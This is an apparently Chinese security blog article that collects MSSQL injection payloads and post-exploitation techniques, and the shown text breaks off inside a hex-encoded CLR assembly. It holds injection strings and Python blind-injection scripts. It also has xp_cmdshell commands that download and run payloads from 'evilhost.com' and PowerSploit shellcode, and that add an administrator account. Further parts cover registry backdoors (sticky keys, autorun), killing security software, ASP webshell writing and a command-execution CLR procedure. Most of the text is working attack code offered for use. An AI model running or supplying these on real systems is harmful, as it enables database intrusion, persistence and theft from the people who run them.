<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    干貨 | MSSQL注入和漏洞利用姿勢總結

    VSole2022-12-27 10:27:00

    基礎介紹

    Microsoft SQL Server 是微軟開發的關系型數據庫管理系統。作為數據庫服務器,它是一種軟件產品,主要功能是根據其他軟件應用程序的請求存儲和檢索數據,這些應用程序可以在同一臺計算機上運行,也可以在網絡(包括 Internet)上的另一臺計算機上運行。SQL Server 默認開放的端口是 TCP 1433。

    SQL Server 信息收集

    • ? 判斷數據庫類型
    /* sysobjects 為 MSSQL 數據庫中獨有的數據表,如果頁面返回正常即可表示為 MSSQL 數據庫 */
    ?id=1 and (select count(*) from sysobjects)>0 --
    /* 通過 MSSQL 數據庫中特有的延時函數進行判斷 */
    ?id=1;WAITFOR DELAY '00:00:10'; -- 
    
    • ? 查詢數據庫版本信息
    1 and 1=(select @@version) --
    
    • ? 判斷當前數據庫用戶名
    ?id=1 and user>0;--
    
    • ? 獲取當前數據庫名
    ?id=1 and db_name()>0;--
    
    • ? 判斷字段個數
    ?id=1 order by 6--
    
    • ? 查詢當前的本地服務名
    ?id=1 and 1=(select @@servername)--
    
    • ? 判斷是否站庫分離
    /* 如果頁面報錯,則站庫分離;回顯正常,則無站庫分離 */
    ?id=1 and ((select host_name())=(select @@servername))--
    
    • ? 判斷當前服務器級別角色(Server-level roles
    ?id=1 and 1=(select is_srvrolemember('sysadmin'))--
    ?id=1 and 1=(select is_srvrolemember('serveradmin'))--
    ?id=1 and 1=(select is_srvrolemember('securityadmin'))--
    ?id=1 and 1=(select is_srvrolemember('processadmin'))--
    ?id=1 and 1=(select is_srvrolemember('setupadmin'))--
    ?id=1 and 1=(select is_srvrolemember('bulkadmin'))--
    ?id=1 and 1=(select is_srvrolemember('diskadmin'))--
    ?id=1 and 1=(select is_srvrolemember('dbcreator'))--
    ?id=1 and 1=(select is_srvrolemember('public'))--
    

    為便于管理數據庫中的權限,SQL Server 提供了若干角色,這些角色是用于對其他主體進行分組的安全主體。它們類似于 Windows 操作系統中的組。SQL Server 2019 和以前的版本提供了 9 個不同級別的服務器級角色以幫助用戶管理服務器上的權限。這些角色是可組合其他主體的安全主體,并且遵循最地特權原則。服務器級角色的權限作用域為服務器范圍。

    下表顯示了固定的服務器級角色及其功能。

    • ? 判斷當前數據庫級別角色(Database-level roles
    ?id=1 and 1=(select IS_ROLEMEMBER('db_owner'))--
    ?id=1 and 1=(select IS_ROLEMEMBER('db_securityadmin'))--
    ?id=1 and 1=(select IS_ROLEMEMBER('db_accessadmin'))--
    ?id=1 and 1=(select IS_ROLEMEMBER('db_backupoperator'))--
    ?id=1 and 1=(select IS_ROLEMEMBER('db_ddladmin'))--
    ?id=1 and 1=(select IS_ROLEMEMBER('db_datawriter'))--
    ?id=1 and 1=(select IS_ROLEMEMBER('db_datareader'))--
    ?id=1 and 1=(select IS_ROLEMEMBER('db_denydatawriter'))--
    

    數據庫級角色的權限作用域為數據庫范圍,下表顯示了固定數據庫角色及其能夠執行的操作。

    SQL Server 注入

    報錯注入

    MSSQL 數據庫是強類型語言數據庫,當類型不一致時將會報錯,配合子查詢即可實現報錯注入。前提是服務器允許返回報錯信息。

    • ? 查詢當前數據庫中的表名
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u');--
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts'));--
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers'));--
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
    ('fsb_accounts', 'fsb_fund_transfers'));--
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates'));--
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages'));--
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions'));--
    ?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name not in ('fsb_accounts', 'fsb_fund_transfers', 'fsb_loan_rates', 'fsb_messages', 'fsb_transactions', 'fsb_users'));--
    

    • ? 查詢表中的字段名
    ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts'));--
    ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no');--
    ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type');--
    ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'fsb_accounts') and name<>'account_no' and name<>'account_type' and name<>'balance_amount');--
    

    值得一提的是,在 MSSQL 中除了借助 sysobjects 表和 syscolumns 表獲取表名、列名外,MSSQL 數據庫中也兼容 information_schema,里面存放了數據表表名和字段名。使用方法與 MySQL 相同。
    /* 查詢表名可以用 information_schema.tables */
    ?id=1 and 1=(select top 1 table_name from information_schema.tables);--
    /* 查詢列名可以用 information_schema.columns */
    ?id=1 and 1=(select top 1 column_name from information_schema.columns where table_name='fsb_accounts');--
    • ? 查詢表中具體的數據
    ?id=1 and 1=(select top 1 branch from fsb_accounts);--
    ?id=1 and 1=(select top 1 branch from fsb_accounts where branch<>'Texas-Remington Circle');--
    ?id=1 and 1=(select top 1 branch from fsb_accounts where branch not in ('Texas-Remington Circle', 'Mahnattan - New york'));--
    

    聯合注入

    方法與一般的 SQL 聯合注入相同。值得注意的是,MSSQL 聯合注入一般不使用數字占位,而是 NULL,因為使用數字占位可能會發生隱式轉換。

    ?id=1 union select NULL, NULL ,NULL, NULL, NULL from fsb_users--
    ?id=1 union select NULL, user_name, NULL, NULL, NULL from fsb_users--
    

    布爾盲注

    方法與一般的 SQL 布爾盲注相同,使用 ASCII 碼逐個比較字符,將返回為 True 的結果輸出即可。

    ?id=-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1))>97--
    

    下面給出布爾盲注腳本:

    import requests
    import time
    url = 'http://192.168.2.244/index.aspx?user_id='
    cookies = {       # 如果目標網站要事先登錄,就加上cookies吧
        "PHPSESSID":"c8ab8r49nd2kk0qfhs0dcaktl3"
    }
    flag = ''
    for i in range(1,90000):
       low = 32
       high = 128
       mid = (low+high)//2
       while(low       payload = url + "-1 or ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1))>%d-- " %(i,mid)
           res = requests.get(url=payload)
           """
           data = {
               "user_id": payload
           }
           res = requests.get(url=url, data=data)
           """
           if 'Joe Vilella' in res.text:      # 為真時,即判斷正確的時候的條件
               low = mid+1
           else:
               high = mid
           mid = (low+high)//2
       if(mid ==32 or mid ==127):
           break
       flag = flag+chr(mid)
       print(flag)
       
    # m
    # ma
    # mas
    # mast
    # maste
    # master
    

    時間盲注

    MSSQL 數據庫中的 WAITFOR 延時存儲過程可以用來時間盲注,當語句執行成功,頁面延時返回即為 True。

    ?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
    ?id=1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),1,1)))>1 WAITFOR DELAY '0:0:2'--
    

    下面給出時間盲注腳本:

    import requests
    import json
    import time
    url = 'http://192.168.2.244/index.aspx?user_id='
    flag = ''
    for i in range(1,250):
       low = 32
       high = 128
       mid = (low+high)//2
       while(low
           payload = url + "1;if (ascii(substring((select top 1 name from master.dbo.sysdatabases),%d,1)))>%d WAITFOR DELAY '0:0:2'--" %(i,mid)
           times = time.time()
           res = requests.get(url=payload)
           """
           data = {
           "user_id": payload
           }
           res = requests.get(url=url, data=data)
           """
           if time.time() - times >= 2:      # 為真時,即判斷正確的時候的條件
               low = mid+1
           else:
               high = mid
           mid = (low+high)//2
       if(mid ==32 or mid ==127):
           break
       flag = flag+chr(mid)
       print(flag)
       
    # m
    # ma
    # mas
    # mast
    # maste
    # master
    

    SQL Server 相關攻擊面

    xp_cmdshell

    xp_cmdshell 存儲過程可以生成并執行 Windows 命令,任何輸出都作為文本返回。xp_cmdshell 功能非常強大,但是從 MSSQL 2005 版本之后默認處于禁用狀態,可以執行 sp_configure 來啟用或禁用 xp_cmdshell

    xp_cmdshell 的利用條件如下:

    • ? 當前用戶具有 DBA 權限
    • ? 依賴于 xplog70.dll
    • xp_cmdshell 存儲過程存在并已啟用

    xp_cmdshell 的相關配置方法如下:

    /* 判斷當前是否為 DBA 權限,返回 1 則可以提權 */
    SELECT IS_SRVROLEMEMBER('sysadmin');
    /* 查看是否存在 xp_cmdshell,返回 1 則存在 */
    SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell'
    /* 開啟 xp_cmdshell */
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    /* 關閉 xp_cmdshell */
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;
    

    xp_cmdshell 的相關利用技巧如下:

    • ? 一般執行命令
    EXEC master.dbo.xp_cmdshell 'whoami'
    EXEC xp_cmdshell 'whoami';
    EXEC xp_cmdshell 'dir c:\'
    EXEC master..xp_cmdshell 'dir c:\'
    EXEC master..xp_cmdshell 'ipconfig/all'
    EXEC master..xp_cmdshell 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"'
    EXEC master..xp_cmdshell 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber'
    EXEC master..xp_cmdshell 'net user hacker Passw0rd /add',NO_OUTPUT
    EXEC master..xp_cmdshell 'net localgroup Administrators hacker /add',NO_OUTPUT
    
    • ? 調用 PowerShell 執行腳本
    EXEC xp_cmdshell 'powershell -c "iex((new-object Net.WebClient).DownloadString(''http://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1''))"'
    
    • ? 調用 cmd.exe 用 PowerShell 遠程下載 exe 并執行
    EXEC master..xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\shell.ps1 & echo $client.DownloadFile("http://evilhost.com/shell.exe","%TEMP%\shell.exe") >> %TEMP%\shell.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\shell.ps1 & WMIC process call create "%TEMP%\shell.exe""'
    
    • ? 調用 certutil 下載文件
    EXEC master.dbo.xp_cmdshell 'cd C:\Users\Public & certutil -urlcache -split -f http://evilhost.com/download/shell.exe';
    
    • ? 調用 bitsadmin 下載文件并寫入系統啟動項
    EXEC master.dbo.xp_cmdshell 'bitsadmin /transfer n http://evilhost.com/image/shell.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\shell.exe'
    

    Ole Automation Procedures

    SQL Server 支持一組系統存儲過程,這些存儲過程允許在 Transact-SQL 批處理中使用 OLE 自動化對象。默認情況下,SQL Server 會阻止訪問 OLE 自動化存儲過程,因為此組件作為此服務器的安全配置的一部分關閉。系統管理員可以使用 sp_configure 來啟用對 OLE 自動化過程的訪問。

    這里我們直接介紹 sp_OACreate 和 sp_OAMethod 這兩個過程,前者可以在 MSSQL 中調用 OLE 對象的實例,后者用來調用 OLE 對象里的方法。

    Ole Automation Procedures 的利用條件如下:

    • ? 當前用戶具有 DBA 權限
    • ? 依賴于 odsole70.dll
    • ? Ole Automation Procedures 存在并已啟用

    Ole Automation Procedures 的相關配置方法如下:

    /* 判斷當前是否為 DBA 權限,返回 1 則可以提權 */
    SELECT IS_SRVROLEMEMBER('sysadmin');
    /* 查看是否存在 sp_oacreate,返回 1 則存在 */
    SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='sp_oacreate'
    /* 開啟 Ole Automation Procedures */
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;
    /* 關閉 Ole Automation Procedures */
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;
    

    Ole Automation Procedures 的相關利用方法如下:

    • ? 調用 Windows Script Host Shell Object 對象執行系統命令
    ProgID:WScript.ShellCLSID:{72C24DD5-D70A-438B-8A42-98424B88AFB8}
    /* 執行命令并將執行結果寫入文件 */
    DECLARE @object INT
    EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
    -- exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@object output
    EXEC sp_OAMethod @object, 'run', NULL, 'C:\Windows\System32\cmd.exe /c whoami >C:\inetpub\wwwroot\result.txt'
    /* 執行命令并回顯 */
    DECLARE @object INT, @object2 INT, @object3 INT, @str VARCHAR(8000)
    EXEC sp_OACreate 'WScript.Shell', @object OUTPUT
    EXEC sp_OAMethod @object, 'exec', @object2 OUTPUT, 'C:\Windows\System32\cmd.exe /c whoami'
    EXEC sp_OAMethod @object2, 'StdOut', @object3 OUTPUT
    EXEC sp_OAMethod @object3, 'readall', @str OUTPUT
    SELECT @str;
    
    • ? 調用 Shell Automation Service 對象執行系統命令
    ProgID:Shell.ApplicationCLSID:13709620-C279-11CE-A49E-444553540000
    DECLARE @object INT
    EXEC sp_OACreate 'Shell.Application', @object OUTPUT
    EXEC sp_OAMethod @object, 'ShellExecute', NULL, 'cmd.exe', '/c whoami > C:\inetpub\wwwroot\result.txt','C:\Windows\System32','','1'
    
    • ? 調用 ADODB.Stream 對象寫文件
    ProgID:ADODB.StreamCLSID:00000566-0000-0010-8000-00AA006D2EA4
    DECLARE @object INT
    EXEC Sp_OACreate 'ADODB.Stream', @object OUTPUT
    -- EXEC Sp_OACreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@object OUTPUT
    EXEC Sp_OASetProperty @object, 'Type', 1
    EXEC sp_OASetProperty @object, 'Mode', 3
    EXEC sp_OAMethod @object, 'Open', NULL
    EXEC sp_OAMethod @object, 'Write', NULL, 0x3C25657865637574652872657175657374282261222929253E
    -- <%execute(request("a"))%>
    EXEC sp_OAMethod @object, 'SaveToFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 2
    EXEC sp_OAMethod @object, 'Close', NULL
    EXEC sp_OADestroy @object
    
    • ? 調用 FileSystem Object 對象復制、移動等文件管理
    ProgID:Scripting.FileSystemObjectCLSID:0D43FE01-F093-11CF-8940-00A0C9054228
    /* 移動文件 */
    DECLARE @object INT
    EXEC Sp_OACreate 'Scripting.FileSystemObject', @object OUTPUT
    -- EXEC sp_oacreate '0D43FE01-F093-11CF-8940-00A0C9054228', @object OUTPUT
    EXEC sp_OAMethod @object, 'MoveFile', NULL, 'C:\shell.txt','C:\inetpub\wwwroot\shell.asp'
    /* 制作粘滯鍵后門 */
    DECLARE @object INT
    EXEC Sp_OACreate 'Scripting.FileSystemObject', @object OUTPUT
    EXEC sp_OAMethod @object, 'CopyFile', NULL, 'C:\Windows\System32\calc.exe', 'C:\Windows\System32\sethc.exe'
    /* 寫文件 */
    DECLARE @object INT, @object2 INT
    EXEC Sp_OACreate 'Scripting.FileSystemObject', @object OUTPUT
    EXEC sp_OAMethod @object,'CreateTextFile', @object2 OUTPUT, 'C:\inetpub\wwwroot\shell.asp', 1
    EXEC sp_OAMethod @object2, 'WriteLine', NULL, '<%execute(request("a"))%>'
    
    • ? 調用 XML HTTP Request 對象遠程下載并寫入文件
    ProgID:Microsoft.XMLHTTPCLSID:ED8C108E-4349-11D2-91A4-00C04F7969E8
    /* 遠程下載文件 */
    DECLARE @object INT, @object2 INT, @response varbinary(8000)
    exec Sp_OACreate 'Microsoft.XMLHTTP', @object OUTPUT
    -- exec Sp_OACreate 'ED8C108E-4349-11D2-91A4-00C04F7969E8', @object OUTPUT 
    EXEC sp_OAMethod @object, 'Open', NULL, 'GET', 'http://evilhost.com/shell.txt',0
    EXEC sp_OAMethod @object, 'Send', NULL
    EXEC sp_OAGetProperty @object, 'responseBody', @response OUTPUT
    /* 開始寫入 */
    EXEC Sp_OACreate 'ADODB.Stream', @object2 OUTPUT 
    EXEC sp_OASetProperty @object2, 'Type', 1
    EXEC sp_OASetProperty @object2, 'Mode', 3
    EXEC sp_OAMethod @object2, 'Open', NULL 
    EXEC sp_OAMethod @object2, 'Write', NULL, @response
    EXEC sp_OAMethod @object2, 'SaveToFile', NULL, 'C:\inetpub\wwwroot\shell.asp', 1
    

    xp_regwrite

    xp_regwrite 存儲過程用來寫入注冊表,我們可以通過該過程實現鏡像劫持、寫入啟動項等操作。

    xp_regwrite 的利用條件如下:

    • ? MSSQL 服務器進程未降權
    • ? 依賴于 xpstar.dll

    關于 xp_regwrite 的利用方法如下:

    • ? 修改注冊表來劫持粘貼鍵(映像劫持),作為持久化的后門
    EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', @value_name='Debugger', @type='REG_SZ', @value='C:\Windows\System32\cmd.exe'
    
    • ? 寫入 AutoRun 表項,作為持久化的后門
    /* 將 CMD.exe 的 AutoRun 注冊表項與軟件可執行路徑 C:\Windows\System32\shell.exe 添加,作為持久化的后門 */
    EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Command Processor','Autorun','REG_SZ','C:\Windows\System32\shell.exe'
    
    • ? 寫入 RunOnce 表項,作為持久化的后門
    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Aut3','REG_SZ','C:\Windows\System32\shell.exe'
    
    • ? 禁用指定軟件。攻擊者需要確保殺死反病毒進程以保持不被發現,所以可以設置在某些應用啟動時自動關閉。
    /* 此時只要開啟 Everything 就會自動關閉 */
    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Everything.exe','Debugger','REG_SZ','taskkill.exe'
    

    Ad Hoc Distributed Queries & Microsoft OLE DB Provider for Microsoft Jet

    沙盒模式(SandBoxMode)是一種安全功能,用于限制數據庫只對控件和字段屬性中的安全且不含惡意代碼的表達式求值。如果表達式不使用可能以某種方式損壞數據的函數或屬性(如 Kill 和 Shell 之類的函數),則可認為它是安全的。當數據庫以沙盒模式運行時,調用這些函數的表達式將會產生錯誤消息。

    沙盒提權的原理就是濫用 Ad Hoc Distributed Queries 和 Microsoft.Jet.OLEDB.4.0 執行系統命令。數據庫通過查詢方式調用mdb文件執行參數,通過 Access 數據庫中的 Shell 函數執行命令。

    Windows Server 2003 系統 C:\Windows\System32\ias 目錄下默認自帶了 2 個 Access 數據庫文件 ias.mdb 和 dnary.mdb,所以直接調用即可。之后版本的系統需要自行上傳或者用 UNC 路徑加載文件。

    相關利用條件如下:

    • ? 當前用戶具有 DBA 權限
    • ? 服務器為 32 位系統
    • ? MSSQL 服務器進程未降權
    • ? 沙盒模式已禁用
    • ? Ad Hoc Distributed Queries 已啟用
    • ? 服務器擁有 Microsoft.Jet.OLEDB.4.0 驅動

    筆者的測試環境為 Windows Server 2008 x86 + SQL Server 2005,相關配置如下:

    /* 修改注冊表,禁用沙盒模式 */
    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0
    /* 開啟 Ad Hoc Distributed Queries */
    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'Ad Hoc Distributed Queries', 1;RECONFIGURE
    

    相關利用方法如下:

    • ? 通過 Microsoft.Jet.OLEDB.4.0 執行系統命令
    Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\Windows\System32\ias\ias.mdb',
    'select shell("C:\Windows\System32\cmd.exe /c whoami > C:\inetpub\wwwroot\result.txt")');
    

    SQL Server Agent Job

    SQL Server 代理(SQL Server Agent)是一項 Microsoft Windows 服務,它執行計劃的管理任務,這些任務在 SQL Server 中稱為作業。SQL Server 代理可以按照計劃運行作業,也可以在響應特定事件時運行作業,還可以根據需要運行作業。

    SQL Server Agent Job 的利用條件如下:

    • ? 當前用戶具有 DBA 權限
    • ? SQL Server Agent 服務已啟用(Express 版本 SQL Server 是無法啟用的)
    • ? MSSQL 服務器進程未降權

    Ole Automation Procedures 的相關配置方法如下:

    /* 開啟 SQL Server Agent 服務 */
    EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';
    

    啟動后將以 NT SERVICE\SQLSERVERAGENT 帳戶權限運行 sqlagent.exe 進程,該進程執行后續的系統命令。

    SQL Server Agent Job 的相關利用方法如下:

    • ? 創建計劃任務執行命令并將結果寫入文件
    USE msdb;
    EXEC sp_add_job 'JobName'
    EXEC sp_add_jobstep null,'JobName',null,'1','cmdexec','cmd.exe /c "whoami > C:\inetpub\wwwroot\result.txt"'
    EXEC sp_add_jobserver null,'JobName',@@servername
    exec sp_start_job 'JobName';
    

    Common Language Runtime (CLR)

    從 2005 SQL Server 2005 (9.x) 開始,SQL Server 功能集成了 Microsoft Windows .NET Framework(CLR)組件的公共語言運行時。這意味著您現在可以使用任意 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)編寫存儲過程、觸發器、用戶定義類型、用戶定義函數、用戶定義聚合函數以及流處理表值函數。

    MSSQL CLR 的利用條件如下:

    • ? 當前用戶具有 DBA 權限
    • ? CLR 已啟用

    CLR 的相關配置方法如下:

    /* 開啟 CLR 服務 */
    EXEC sp_configure 'show advanced options',1;RECONFIGURE;
    EXEC sp_configure 'clr enabled',1;RECONFIGURE;
    ALTER DATABASE master SET TRUSTWORTHY ON;
    

    下面通過 Visual Studio 手動創建存儲過程來執行系統命令。

    • ? 創建 SQL Server 數據庫項目

    • ? 選擇 “目標平臺” 并勾選 “創建腳本”

    • ? 選擇 “目標框架”,并設置 “權限級別” 為 “UNSAFE”
    在 SQL Server 2005 后引入了從 MSSQL 運行 .NET 代碼的功能,并在后續版本中疊加了許多保護措施,來限制代碼可以訪問的內容。其權限集有三個選項:
    1. 1. SAFE:基本上只將MSSQL數據集暴露給代碼,其他大部分操作則都被禁止
    2. 2. EXTERNAL_ACCESS:允許訪問底層服務器上某些資源,但不應該允許直接執行代碼
    3. 3. UNSAFE:允許執行任何代碼

    • ? 選擇 “項目” —> “添加新項”,創建 SQL CLR C# 存儲過程

    • ? 寫入以下代碼
    using System;
    using System.Data;
    using System.Data.SqlClient;
    using System.Data.SqlTypes;
    using System.Diagnostics;
    using System.Text;
    using Microsoft.SqlServer.Server;
    public partial class StoredProcedures
    {
        [Microsoft.SqlServer.Server.SqlProcedure]
        public static void ExecCommand(string cmd)
        {
            SqlContext.Pipe.Send("Command is running, please wait.");
            SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
        }
        public static string RunCommand(string filename, string arguments)
        {
            var process = new Process();
            process.StartInfo.FileName = filename;
            if (!string.IsNullOrEmpty(arguments))
            {
                process.StartInfo.Arguments = arguments;
            }
            process.StartInfo.CreateNoWindow = true;
            process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.RedirectStandardOutput = true;
            var stdOutput = new StringBuilder();
            process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
            string stdError = null;
            try
            {
                process.Start();
                process.BeginOutputReadLine();
                stdError = process.StandardError.ReadToEnd();
                process.WaitForExit();
            }
            catch (Exception e)
            {
                SqlContext.Pipe.Send(e.Message);
            }
            if (process.ExitCode == 0)
            {
                SqlContext.Pipe.Send(stdOutput.ToString());
            }
            else
            {
                var message = new StringBuilder();
                if (!string.IsNullOrEmpty(stdError))
                {
                    message.AppendLine(stdError);
                }
                if (stdOutput.Length != 0)
                {
                    message.AppendLine("Std output:");
                    message.AppendLine(stdOutput.ToString());
                }
                SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
            }
            return stdOutput.ToString();
        }
    }
    

    后編譯并生成 DLL,與此同時將生產一個 .sql 文件,里面包含了我們后續操作的 SQL 語句:

    • ? 先后創建程序集和存儲過程,并調用
    /* 通過 SQL 語句導入程序集 MssqlClr */
    CREATE ASSEMBLY [MssqlClr]
        AUTHORIZATION [dbo]
        FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C0103006D8463630000000000000000E00022200B013000000E000000060000000000004E2C0000002000000040000000000010002000000002000004000000000000000600000000000000008000000002000000000000030060850000100000100000000010000010000000000000100000000000000000000000FC2B00004F00000000400000A802000000000000000000000000000000000000006000000C000000C42A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000540C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000302C00000000000048000000020005007C220000480800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B003000023537472696E677300000000C4060000B4000000235553007807000010000000234755494400000088070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000CC0101000000000006006601B80206008601B80206003C01A5020F00D802000006003A03D9010A0050014F020E001303A5020600E001D90106002102780306002101B8020E00F802A5020A0084034F020A0019014F020600BA01D9010E00F801A5020E00C800A5020E003602A50206000902360006001602360006002700D901000000002D00000000000100010001001000E7020000150001000100030110000100000015000100040006006E037900502000000000960083007D00010084200000000096008F001A0002005C220000000086189F02060004005C220000000086189F0206000400652200000000830016008200040000000100750000000100E800000002002903000001002F02000002000E0309009F02010011009F02060019009F020A0031009F02060051009F02060061001001100069009A001500710033031A0039009F0206003900EA0132007900DB0015007100A203370079001B03150079008F033C007900B80041007900A4013C00790085023C00790053033C0049009F02060089009F02470039005E004D0039004D0353003900F1000600390073025700990079005C003900410306004100AC005C0039009F0060002900B8015C004900050164004900C1016000A100B8015C00710033036A0029009F02060059004C005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000006A020000040000000000000000000000700055000000000004000000000000000000000070004000000000000400000000000000000000007000D90100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F0053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468004D7373716C436C722E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572004D7373716C436C72006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D70747900004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F